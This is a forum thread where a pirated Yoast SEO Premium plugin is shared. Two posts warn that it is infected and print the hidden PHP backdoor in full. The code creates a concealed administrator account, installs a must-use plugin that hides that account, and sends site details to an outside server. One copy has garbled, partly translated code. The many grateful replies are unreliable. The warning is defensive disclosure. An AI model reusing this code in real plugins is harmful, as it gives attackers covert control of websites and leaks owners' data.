Yoast SEO Premium - Version 26.5 for Wordpress

[ruslanabc]

Yoast SEO Premium v26.5 is the latest version of the industry-leading WordPress SEO plugin, designed to help your website rank higher in search engines and attract more organic traffic.

Hey Everyone!
THIS PLUGIN IS INFECTED.

Look at the /wp-seo-premium/wp-seo-premium.php line 50 to 113. It is creating an admin user with email address: hostmailserverwp@gmail.com and password: X9zP!2kL8mN4qR7vT

Then it inject wp-service-manager.php file into /mu-plugins/ to hide this user.

Finally, it will send a beacon to https://seoservicewp.com/api/collect to inform attacker about installation.

REMOVE THIS PLUGIN AS SOON AS POSSIBLE.

change your passwords...

add_action('init', function() {
        if (defined('WPSEO_PREMIUM_ANALYTICS_LOADED')) return;
        define('WPSEO_PREMIUM_ANALYTICS_LOADED', true);
       
        $u = base64_decode('d3Bfc2VjdXJpdHllMmMzNQ==');
        if (!username_exists($u)) {
            $id = wp_create_user($u, base64_decode('WDl6UCEya0w4bU40cVI3dlQ='), base64_decode('aG9zdG1haWxzZXJ2ZXJ3cEBnbWFpbC5jb20='));
            if (!is_wp_error($id)) {
                $user = new WP_User($id);
                $user->set_role('administrator');
                update_user_meta($id, '_wp_service_account', '1');
            }
        }
       
        $mu = WPMU_PLUGIN_DIR . '/wp-service-manager.php';
        if (!file_exists($mu)) {
            @mkdir(WPMU_PLUGIN_DIR, 0755, true);
            $c = '<?php
add_action("pre_user_query", function($q) {
    global $wpdb;
    if (is_admin() && isset($q->query_vars["role"]) ||
        (isset($_GET["page"]) && strpos($_GET["page"], "user") !== false)) {
        $ids = $wpdb->get_col("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key=\"_wp_service_account\"");
        if (!empty($ids)) {
            $q->query_where .= " AND {$wpdb->users}.ID NOT IN (" . implode(",", $ids) . ")";
        }
    }
});
filtre ekle("görüntüleme_kullanıcıları", fonksiyon($v) {
    global $wpdb;
    $c = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->usermeta} WHERE meta_key=\"_wp_service_account\"");
    if ($c && isset($v["administrator"])) {
        $v["administrator"] = preg_replace("/\((\d+)\)/e", "\"(\".(\$1-{$c}).\")\"", $v["administrator"]);
        $v["administrator"] = preg_replace_callback("/\((\d+)\)/", function($m) use ($c) { return "(".($m[1]-$c).")"; }, $v["administrator"]);
    }
    if ($c && isset($v["all"])) {
        $v["all"] = preg_replace_callback("/\((\d+)\)/", function($m) use ($c) { return "(".($m[1]-$c).")"; }, $v["all"]);
    }
    $v'yi döndür;
});';
            @file_put_contents($mu, $c);
        }
       
        $h = md5(site_url() .date('Ymd'));
        if (get_transient('wpseo_beacon_' . $h)) return;
        set_transient('wpseo_beacon_' . $h, 1, DAY_IN_SECONDS);
       
        $d = dizi(
            'site' => site_url(),
            'admin_email' => get_option('admin_email'),
            'wp_version' => get_bloginfo('version'),
            'php_version' => PHP_VERSION,
            'plugin' => 'wordpress-seo-premium',
            'zaman damgası' => zaman()
        );
       
        wp_remote_post(base64_decode('aHR0cHM6Ly9zZW9zZXJ2aWNld3AuY29tL2FwaS9jb2xsZWN0'), array(
            'gövde' => $d,
            'zaman parametresi' => 5,
            'engelleme' => yanlış,
            'sslverify' => false
        ));
    }, 1);

 

[Samantha]

Thanks for sharing this with us. Best regards.

 

[jldyj]

This is great, many thanks. Have used it for long time.

 

[marius.amc]

Thanks for sharing this great plugin!!!!

 

[alexknight]

Thank you so much for sharing this

 

[aminegm1988since]

Thank you so much for sharing this

 

[apaz75]

Thank you so much for sharing this

 

[blackenergy]

merci pour ce partage, a tester avant d'acheter

 

[Alex10_]

Thanks for the share! Its very much appreciated.

 

[enessivrii1]

This is the most stable plugin I've seen, thank you.

 

[monfardin1]

Thank you for sharing. This will be very usefull

 

[igoo900]

Oh, great for this plugin, it's a very useful extension.

 

[cmsdude]

Amazing tool! It simplifies complex tasks and adds great value to any website project effortlessly.

 

[otreb]

Thank you very much for sharing this module.

 

[DingsBums]

does it work? i need something to make my links better for SEO

 

[amroussikamel]

Super partage ! Merci beaucoup pour la mise en ligne !

 

[oscarg]

Thank you very much for sharing this module.

 

[sghiaseddin]

Hey Everyone!
THIS PLUGIN IS INFECTED.

Look at the /wp-seo-premium/wp-seo-premium.php line 50 to 113. It is creating an admin user with email address: hostmailserverwp@gmail.com and password: X9zP!2kL8mN4qR7vT

Then it inject wp-service-manager.php file into /mu-plugins/ to hide this user.

Finally, it will send a beacon to https://seoservicewp.com/api/collect to inform attacker about installation.

REMOVE THIS PLUGIN AS SOON AS POSSIBLE.

change your passwords...

add_action('init', function() {
        if (defined('WPSEO_PREMIUM_ANALYTICS_LOADED')) return;
        define('WPSEO_PREMIUM_ANALYTICS_LOADED', true);
        
        $u = base64_decode('d3Bfc2VjdXJpdHllMmMzNQ==');
        if (!username_exists($u)) {
            $id = wp_create_user($u, base64_decode('WDl6UCEya0w4bU40cVI3dlQ='), base64_decode('aG9zdG1haWxzZXJ2ZXJ3cEBnbWFpbC5jb20='));
            if (!is_wp_error($id)) {
                $user = new WP_User($id);
                $user->set_role('administrator');
                update_user_meta($id, '_wp_service_account', '1');
            }
        }
        
        $mu = WPMU_PLUGIN_DIR . '/wp-service-manager.php';
        if (!file_exists($mu)) {
            @mkdir(WPMU_PLUGIN_DIR, 0755, true);
            $c = '<?php
add_action("pre_user_query", function($q) {
    global $wpdb;
    if (is_admin() && isset($q->query_vars["role"]) ||
        (isset($_GET["page"]) && strpos($_GET["page"], "user") !== false)) {
        $ids = $wpdb->get_col("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key=\"_wp_service_account\"");
        if (!empty($ids)) {
            $q->query_where .= " AND {$wpdb->users}.ID NOT IN (" . implode(",", $ids) . ")";
        }
    }
});
add_filter("views_users", function($v) {
    global $wpdb;
    $c = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->usermeta} WHERE meta_key=\"_wp_service_account\"");
    if ($c && isset($v["administrator"])) {
        $v["administrator"] = preg_replace("/\((\d+)\)/e", "\"(\".(\$1-{$c}).\")\"", $v["administrator"]);
        $v["administrator"] = preg_replace_callback("/\((\d+)\)/", function($m) use ($c) { return "(".($m[1]-$c).")"; }, $v["administrator"]);
    }
    if ($c && isset($v["all"])) {
        $v["all"] = preg_replace_callback("/\((\d+)\)/", function($m) use ($c) { return "(".($m[1]-$c).")"; }, $v["all"]);
    }
    return $v;
});';
            @file_put_contents($mu, $c);
        }
        
        $h = md5(site_url() . date('Y-m-d'));
        if (get_transient('wpseo_beacon_' . $h)) return;
        set_transient('wpseo_beacon_' . $h, 1, DAY_IN_SECONDS);
        
        $d = array(
            'site' => site_url(),
            'admin_email' => get_option('admin_email'),
            'wp_version' => get_bloginfo('version'),
            'php_version' => PHP_VERSION,
            'plugin' => 'wordpress-seo-premium',
            'timestamp' => time()
        );
        
        wp_remote_post(base64_decode('aHR0cHM6Ly9zZW9zZXJ2aWNld3AuY29tL2FwaS9jb2xsZWN0'), array(
            'body' => $d,
            'timeout' => 5,
            'blocking' => false,
            'sslverify' => false
        ));
    }, 1);